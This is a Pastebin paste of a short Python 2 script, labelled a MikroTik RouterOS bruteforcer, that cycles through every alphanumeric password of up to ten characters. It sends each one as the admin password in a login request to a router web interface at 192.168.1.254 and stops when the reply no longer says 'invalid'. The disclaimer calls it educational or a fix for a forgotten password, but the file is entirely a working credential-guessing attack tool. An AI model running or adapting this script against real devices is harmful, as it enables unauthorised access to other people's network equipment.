Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. MikroTik RouterOS Bruteforcer
  2. Only use if you forgot your password!!!
  3. Disclaimer: This script is for educational purposes only. (Or if you forgot your password and do not want to hard reset)
  4. --
  5. import urllib
  6. import re
  7. import time
  8.  
  9. def grep(string,list):
  10. expr = re.compile(string)
  11. for text in list:
  12. match = expr.search(text)
  13. if match != None:
  14. print match.string
  15.  
  16. brutes = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
  17. min_chars = 1
  18. max_chars = 10
  19.  
  20. base = len(brutes)
  21.  
  22. for b in xrange(base**(min_chars-1)-1, base**max_chars):
  23. num = b
  24. digits = []
  25. while True:
  26. digit = num % base
  27. digits.append(digit)
  28. num = num // base
  29. if num == 0: break
  30.  
  31. digits.reverse()
  32. brute = "".join([brutes[d] for d in digits])
  33.  
  34. url = "http://192.168.1.254/cfg?process=login&backpage=%2Fcfg&page=start&user=admin&password=" + brute + "&submit=+Log+in+"
  35. input = urllib.urlopen(url)
  36. rput = input.read()
  37. if rput.count("invalid") == 0:
  38. break
  39. else:
  40. print "'%s' was invalid." % brute
  41.  
  42. print "Done, the password is: '%s'!" % brute